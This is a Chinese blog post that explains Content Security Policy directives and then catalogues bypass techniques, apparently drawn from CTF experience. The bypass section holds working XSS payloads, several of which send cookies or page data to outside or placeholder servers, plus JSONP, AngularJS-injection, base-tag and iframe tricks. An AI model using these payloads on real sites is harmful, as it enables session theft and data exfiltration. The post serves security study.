CSP 概念及绕过分析总结
CSP 绕过总结
有关CSP的指令意思以及其值的含义,在这里已经写得很清楚了,下面我罗列并翻译一下关键的信息。
CSP 概念
指令参考
一个CSP 值可以包含一个至多个指令,通过;
间隔。下面简单介绍一下各个指令含义:
Directive | Example Value | Description |
---|---|---|
default-src |
'self' cdn.example.com |
定义资源默认加载策略 |
script-src |
'self' js.example.com |
定义 JS 加载策略 |
style-src |
'self' css.example.com |
定义 CSS 加载策略 |
img-src |
'self' img.example.com |
定义图片加载策略 |
connect-src |
'self' |
定义 Ajax、WebSocket 等加载策略 |
font-src |
font.example.com |
定义 Font 加载策略 |
object-src |
'self' |
定义 <applet> 、<embed> 、<object> 等引用资源加载策略 |
media-src |
media.example.com |
定义 <audio> 、<video> 等引用资源加载策略 |
frame-src |
'self' |
定义 Frame 加载策略 |
sandbox |
allow-forms allow-scripts |
对页面的操作应用限制,包括阻止弹出窗口,阻止插件和脚本的执行以及强制执行同源策略。可以不设置sanbox的值使得所有限制启用,或者手动启用以下属性 : allow-forms allow-same-origin allow-scripts allow-popups , allow-modals , allow-orientation-lock , allow-pointer-lock , allow-presentation , allow-popups-to-escape-sandbox , and allow-top-navigation |
report-uri |
/some-report-uri |
指定浏览器报告策略错误的URL,可以在HTTP头中添加-Report-Only 来指示浏览器只报告不阻断 |
child-src |
'self' |
child-src指令管理了套嵌浏览的部分(类似于iframe、frame标签) |
form-action |
'self' |
定义了form表单中action的范围 |
frame-ancestors |
'none' |
定义<frame> <iframe> <object> <embed> <applet> 加载策略. 直接设置‘none’ 几乎等于设置了X-Frame-Options: DENY |
plugin-types |
application/pdf |
设置有效的MIME类型 |
base-uri |
http://*.example.com |
指令限制可以在文档<base> 元素中使用的URL 。如果此值不存在,则允许使用任何URI。如果此指令不存在,则用户代理将使用该<base> 元素中的值。 |
指令取值
以下为上面指令可以取的值,多个值可以用空格间隔,若为'none'
则只能有一个值。
Source Value | Example | Description |
---|---|---|
* |
img-src * |
通配符,允许所有的URL |
'none' |
object-src 'none' |
拒绝从任何地址加载资源 |
'self' |
script-src 'self' |
允许同源加载 |
data: |
img-src 'self' data: |
允许使用data协议加载资源,如加载base64格式图片 |
domain.example.com |
img-src domain.example.com |
允许从特定域名加载资源 |
*.example.com |
img-src *.example.com |
仅允许该域名的子域名加载资源 |
https://cdn.com |
img-src https://cdn.com |
仅允许HTTPS且域名相配的地址加载资源 |
https: |
img-src https: |
仅允许从HTTPS加载资源 |
'unsafe-inline' |
script-src 'unsafe-inline' |
允许使用内联资源,比如内敛CSS、JS等(Allows use of inline source elements such as style attribute, onclick, or script tag bodies (depends on the context of the source it is applied to) and javascript: URIs) |
'unsafe-eval' |
script-src 'unsafe-eval' |
允许JS的动态执行命令eval() |
'nonce-' |
script-src 'nonce-2726c7f26c' |
如果nonce 值设置正确,允许script 和 style 标签执行代码,如: <script nonce="2726c7f26c">alert("hello");</script> |
'sha256-' |
script-src 'sha256-qzn*...*ng=' |
r如果hash匹配,允许执行指定script和style代码。如: sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng= will allow alert('Hello, world.'); |
小例子
Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self';
这个例子意味着允许加载同源的JS脚本、CSS、AJAX(or WebSocket)、拒绝加载其他任何的资源。
Bypass CSP
允许unsafe-inline
在真实的开发环境中,由于网站开发维护周期长,开发人员多,常常不得已需要执行内联script,这样就给我们留下了漏洞,只要存在XSS漏洞,我们就可以借此执行内联Js。
如果connect-src: self
设定了话,就无法向其他域名发送数据,但我们可以通过寻找站内可以api,如上传文件、发布文章等处导出数据。
能执行内联js,当然也可以利用location跳转带外数据。
location.href="https://blog.szfszf.top/" + escape(document.cookie);
google-analytics
当网站允许 unsafe-eval 且允许google-analytics谷歌分析站点的js加载时,我们可以利用Google Tag Manager 自定义js,生成一个自定义javascript内容的google-analytics的链接。
大致方法https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md 这个链接有写。
Base-uri 绕过
当网站设置了script nonce, 在无法猜测nonce值的情况下,且base-uri没有被设置。
那么可以使用<base>
标签将文档的基础URI修改为自己的服务器地址。
如下,需要本来文档就存在相对地址加载js的情况。最后 只要在自己服务器放上一个123.js就行了。
<?php
header("default-src 'self'; script-src 'nonce-test'");
?>
<base href="//blog.szfszf.top:8888">
<script nonce='test' src="/123.js"></script>
利用浏览器自动补全
情况一
<?php
header("X-XSS-Protection:0");
header("Content-Security-Policy: default-src 'self'; script-src 'nonce-xxxxx'");
echo $_GET['xss'];
?>
<script nonce='xxxxx'>
</script>
如上这种情况, 注入点在<script>
标签的正上方,可以输入<script src=data:text/plain,alert(1)
利用浏览器的自动补全,<script
会变成一个属性,后面的nonce属性也被保留下来,所以绕过了nonce。
亲测仅火狐可以通过测试,这里的chrome方法也已经失效。
情况二
<?php
header("X-XSS-Protection:0");
header("Content-Security-Policy: default-src 'self';script-src 'self'; img-src *;");
echo $_GET['xss'];
?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>
如下这种情况,注入点在需要带出的数据上方。我们的目标是拿到注入点下方一个标签的数据。可以看到,前提img是允许加载跨域的。
现在输入<img src="//VPS_IP?a=
就能带出数据。
依旧是火狐有效。
利用可控jsonp
jsonp是为了跨域获得数据而设计的, 通常情况下都是完全可控的。
很多站点会允许一些cdn或者analytic的域名加载js,那我们只要找到这些站点的可控jsonp就可以了。
这里有一个收集https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt
<?php
header("Content-Security-Policy: default-src 'self';script-src 'self' https://accounts.google.com;");
?>
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>
利用CDN
一般站点都会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险。
案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP。
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</div>
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js
payload:
<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.min.js></script>
<div ng-app ng-csp>
{{constructor.constructor('eval(atob("ZmV0Y2goIi9jc3AtdHdvLWZsYWciKS50aGVuKHg9PngudGV4dCgpKS50aGVuKHg9PmxvY2F0aW9uPSIvL3J3eC5rci8/Iitlc2NhcGUoeCkp"))')()}}
</div>
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"></script>
<div class="ng-app"> {{ constructor.constructor('fetch("https://csp-2-2446d5a3.challenges.bsidessf.net/csp-two-flag").then(r=>r.text()).then(t=>fetch("YOUR_SERVER"+t))')() }} </div>
CRLF绕过
如果存在CRLF注入,且注入点在CSP上方我们可以通过注入回车换行将header中的CSP挤到HTTP body中,这样就绕过了csp的限制。
利用svg图片
svg图片是xml格式的矢量图, 能够执行js脚本。可以通过上传svg图片XSS
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>
预加载
一般来说,self代表只接受符合同源策略的url,这样一来,大部分的xss和crsf都会失效。但link标签除外。我们可以通过link标签绕过CSP
<link rel="prefetch" herf="xxxxxxx">
(经测试,火狐、chrome均失效)
DNS预解析:
<link rel="dns-prefetch" href="xxxxxxxx">
(经测试,仍然可以绕过Chrome,火狐最新版无效)
这样,我们可以通过预加载,将数据添加到link请求的链接中,或者dns预解析的子域名中,从DNS记录中拿到数据。
通过iframe标签绕过script-src
sandbox 中的allow-popups开启时,window.open就可以打开新的窗口。
frame-src如果为self
,iframe的src必须为为同源,如果我们指向任意一个没有csp的同源文件,此时我们可以在iframe中引入js,此时因为iframe打开的这个页面没有csp限制,其中的js就可以任意执行了。
<?php
header("Content-Security-Policy: default-src 'self';script-src 'self' 'unsafe-inline';");
?>
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
document.write('');
// window.open('https://blog.szfszf.top');
f=document.createElement("iframe");
f.id="pwn";
f.src="./example2.php";
f.onload=()=>{
x=document.createElement('script');
x.src='https://blog.szfszf.top/?a='+escape(document.cookie);
pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);
</script>
</body>
</html>
假如对应站点,任何预期站点响应都包含X-Frame-Options: Deny
,我们可以通过以下方法绕过:
-
使用不存在的网页,大部分网页404报错不会包含
X-Frame-Options: Deny
-
frame.src=”/”+”A”.repeat(20000);
通过url过长触发错误(测试未成功)
f=document.createElement("iframe");
f.id="pwn";
f.src="/"+"A".repeat(200000);
f.onload=()=>{
x=document.createElement('script');
x.src='https://blog.szfszf.top/xss.js';
pwn.contentWindow.document.body.appendChild(x);
};
document.body.appendChild(f);
- cookie过长触发报错
for(var i=0;i<5;i++){
document.cookie=i+"="+"a".repeat(4000)};
f=document.createElement("iframe");
f.id="pwn";
f.src="./csp2.php";
f.onload=()=>{
for(var i=0;i<5;i++){document.cookie=i+"="};
x=document.createElement('script');
x.src='data:,alert(document.cookie)';
pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);
WebRTC 绕过 connect-src
我们知道,如果设置了connect-src
这意味着即使可以执行内联js,我们仍然无法向外界通过AJAX或者WebSocket带出数据。但是此时,我们可以使用WebRTC绕过。
这个姿势是在今年的RCTF学到的,我也写了这道题的WP,有兴趣可以看看。
参考链接
https://xz.aliyun.com/t/5084
http://prontosil.club/posts/1e1d8fb4/
https://www.anquanke.com/post/id/84853
https://content-security-policy.com/
https://lorexxar.cn/2016/08/08/ccsp/
https://www.cnblogs.com/afanti/p/9298415.html
https://news.ycombinator.com/item?id=17512005
https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa
https://twitter.com/i_bo0om/status/1016422138285355014